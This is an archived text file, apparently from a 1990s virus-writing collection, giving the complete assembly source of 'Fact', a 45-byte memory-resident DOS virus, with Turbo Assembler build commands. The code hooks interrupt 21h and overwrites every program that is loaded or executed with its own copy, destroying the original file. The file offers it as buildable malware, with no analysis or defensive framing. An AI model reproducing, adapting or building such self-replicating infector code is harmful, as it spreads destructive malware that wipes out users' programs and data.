home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0301.txt < prev    next >
Text File  |  1998-03-23  |  2KB  |  51 lines

  1.  
  2.                   Fact
  3.  
  4.   Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at
  5.   load and/or execute program by overwriting the infected file.
  6.  
  7.   Compile Fact with Turbo Assembler v 4.0 by typing:
  8.     TASM /M FACT.ASM
  9.     TLINK /t /x FACT.OBJ
  10. *
  11.  
  12. .model tiny
  13. .code
  14.  org   100h
  15.  
  16. code_begin:
  17.          mov     ax,3521h         ; Get interrupt vector 21h
  18.          int     21h
  19.          mov     word ptr [int21_addr],bx
  20.          mov     word ptr [Int21_addr+02h],es
  21.  
  22.          mov     ah,25h         ; Set interrupt vector 21h
  23.          lea     dx,int21_virus     ; DX = offset of int21_virus
  24.          int     21h
  25.  
  26.          xchg    ax,dx         ; DX = number of bytes to keep res...
  27.          int     27h         ; Terminate and stay resident!
  28.  
  29. int21_virus  proc    near         ; Interrupt 21h of Fact
  30.          cmp     ah,4bh         ; Load and/or execute program?
  31.          jne     int21_exit      ; Not equal? Jump to int21_exit
  32.  
  33.          mov     ax,3d01h         ; Open file (write)
  34.          int     21h
  35.          xchg    ax,bx         ; BX = file handle
  36.  
  37.          push    cs          ; Save CS at stack
  38.          pop     ds          ; Load DS from stack (CS)
  39.  
  40.          mov     ah,40h         ; Write to file
  41.          mov     cx,(code_end-code_begin)
  42.          lea     dx,code_begin     ; DX = offset of code_begin
  43. int21_exit:
  44.          db      0eah         ; JMP imm32 (opcode 0eah)
  45. code_end:
  46. int21_addr   dd      ?             ; Address of interrupt 21h
  47. virus_name   db      '[Fact]'            ; Name of the virus
  48.          endp
  49.  
  50. end         code_begin
  51.